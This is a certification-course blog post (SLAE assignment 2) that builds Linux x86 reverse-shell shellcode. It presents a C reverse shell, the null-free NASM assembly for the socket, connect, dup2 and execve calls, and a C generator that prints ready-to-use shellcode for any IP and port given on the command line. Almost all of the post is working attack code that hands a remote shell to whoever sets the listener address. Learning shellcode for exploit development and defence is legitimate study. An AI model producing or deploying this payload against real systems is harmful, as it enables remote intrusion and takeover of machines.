Assignment #2 SLAE Certification – Reverse shell shellcode

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-1290

Assignment:

The assignment consists in creating a reverse shell shellcode which reverses the connection to a specific IP and port and execute a shell on connection. The IP and port should also be easily configurable.

Following a C program that shows how a reverse shell works:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

//ip to connect to
#define IP "127.0.0.1"
//port to connect to
#define PORT 1234

int main(int argc,char *argv[]){
	//Descriptors
	int sockfd;
	//Addresses
	struct sockaddr_in server_addr;
	
	//Sock file descriptor
	sockfd = socket(PF_INET,SOCK_STREAM,0);
	
	//Configuring socket
	server_addr.sin_family = AF_INET;
	server_addr.sin_port = htons(PORT);
	server_addr.sin_addr.s_addr = inet_addr(IP);
	memset(&(server_addr.sin_zero),'\0',8);

	//Connect socket
	connect(sockfd,(struct sockaddr *)&server_addr,sizeof(struct sockaddr));
	
	//Copy file descriptors
	dup2(sockfd,2);
	dup2(sockfd,1);
	dup2(sockfd,0);
	execve("/bin/bash",NULL,NULL);
	close(sockfd);
	return(0);
}

To test the example, we need to listen on a specific port and then run the reverse shell.

 

As in the previous assignment, we need to work on this to “convert” the high-level instructions in assembly. Most parts are the same, so we are going to focus on the differences. They are the sockaddr_in structure configuration and the connect syscall.

Regarding the sockaddr_in configuration, here we need to specify both the IP address and the port. This could be problematic when there are zeros in the IP, thus I decided to divide the IP setting in four different instructions; one for each byte. When a zero is encountered that byte is not set, since the IP dword has been already zeroed pushing a zero-register onto the stack. The second difference is that connect syscall is used instead of bind ( Here I am setting the IP 127.2.2.1 to describe the four instructions).

;******connect syscall******
	;syscall n.
	xor eax,eax
	mov ax,362
	;socket descriptor
	mov ebx,[esp]
	;creating sockaddr and pushing onto the stack
	;pushing address 127.0.0.1
	push edx
	mov byte [esp],0x7f
	mov byte [esp+1],0x02
	mov byte [esp+2],0x02
	mov byte [esp+3],0x01
	;pushing port
	push word 0xd204
	;pushing domain
	push word 0x2
	mov ecx,esp
	;size
	mov dl,16
	int 0x80

The final assembly program would look like this ( Setting the IP 127.0.0.1)

global _start

section .text

_start:
	;******socket syscall******
	; zeroing register
	xor eax,eax
	xor ebx,ebx
	xor ecx,ecx
	xor edx,edx
	;syscall n.
	mov ax,359
	;domain
	mov bl,2
	;type
	mov cl,1
	;protocol is already 0
	int 0x80
	;socket on the stack
	push eax

	;******connect syscall******
	;syscall n.
	xor eax,eax
	mov ax,362
	;socket descriptor
	mov ebx,[esp]
	;creating sockaddr and pushing onto the stack
	;pushing address 127.0.0.1
	push edx
	mov byte [esp],0x7f
	mov byte [esp+3],0x01
	;pushing port
	push word 0xd204
	;pushing domain
	push word 0x2
	mov ecx,esp
	;size
	mov dl,16
	int 0x80

	;******dup2 syscall******
	xor eax,eax
	xor ecx,ecx
	;file descriptor
	mov cl,2
	;syscall n.
dup:
	mov al,63
	int 0x80
	dec cl
	jns dup

	;******execve syscall******
	xor eax,eax
	push eax
	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f
	;filename
	mov ebx,esp
	push eax
	;argc
	mov edx,esp
	push ebx
	;argv
	mov ecx,esp
	;syscall n.
	mov al,11
	int 0x80

Compiling and linking the nasm file, we can obtain the shellcode with objdump.

We can use the shellcode template from the last assignment to test the shellcode.

Last piece, I decided to create a C program to generate the proper reverse shell shellcode where IP and port are configurable through command line.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/in.h>

#define REV(X) ((X << 24) | (( X & 0xff00 ) << 8) | (( X >> 8) & 0xff00 ) | ( X >> 24 ))

int main(int argc,char *argv[]){
	if(argc == 3){
		unsigned int port;
		unsigned int ip_n[4];
		char ips1[18] = "";
		char ips2[22] = "";
		char ips3[22] = "";
		char ips4[22] = "";
		struct in_addr addr;
		char ip[15];
		char s[8];
		char s1[4];
		char s2[4];
		if(strlen(argv[1]) > 15){
			printf("Check IP\n");
			exit(0);
		}
		sscanf(argv[1],"%s",ip);
		sscanf(argv[2],"%d",&port);
		printf("IP: %s\n",ip);
		printf("Port number: %d\n",port);
		inet_aton(ip,&addr);
		for(int i = 0;i < 32;i+=8){
			ip_n[i/8] = (addr.s_addr >> i) % 256;
		}
		port = REV(port);
		sprintf(s,"%02x",port);
		sprintf(s1,"%.2s",s);
		sprintf(s2,"%.2s",s+2);
		if(ip_n[0] != 0){
			sprintf(ips1,"\\xc6\\x04\\x24\\x%02x",ip_n[0]);
		}
		if(ip_n[1] != 0){
			sprintf(ips2,"\\xc6\\x44\\x24\\x01\\x%02x",ip_n[1]);
		}
		if(ip_n[2] != 0){
			sprintf(ips3,"\\xc6\\x44\\x24\\x02\\x%02x",ip_n[2]);
		}
		if(ip_n[3] != 0){
			sprintf(ips4,"\\xc6\\x44\\x24\\x03\\x%02x",ip_n[3]);
		}
		printf("IP bytes:\n%s\n%s\n%s\n%s\n",ips1,ips2,ips3,ips4);
		printf("Port bytes:%s%s\n",s1,s2);		
		printf("Shellcode:\n");
		printf("\\x31\\xc0\\x31\\xdb\\x31\\xc9\\x31\\xd2\\x66\\xb8\\x67\\x01\\xb3\\x02\\xb1\\x01\\xcd\\x80\\x50\\x31\\xc0\\x66\\xb8\\x6a\\x01\\x8b\\x1c\\x24\\x52%s%s%s%s\\x66\\x68\\x%s\\x%s\\x66\\x6a\\x02\\x89\\xe1\\xb2\\x10\\xcd\\x80\\x31\\xc0\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\xfe\\xc9\\x79\\xf8\\x31\\xc0\\x50\\x68\\x62\\x61\\x73\\x68\\x68\\x62\\x69\\x6e\\x2f\\x68\\x2f\\x2f\\x2f\\x2f\\x89\\xe3\\x50\\x89\\xe2\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\n",ips1,ips2,ips3,ips4,s2,s1);
	}
	else if(argc > 3 || argc < 3){
		printf("Specify the right number of arguments\n");
	}	
}

 

Share it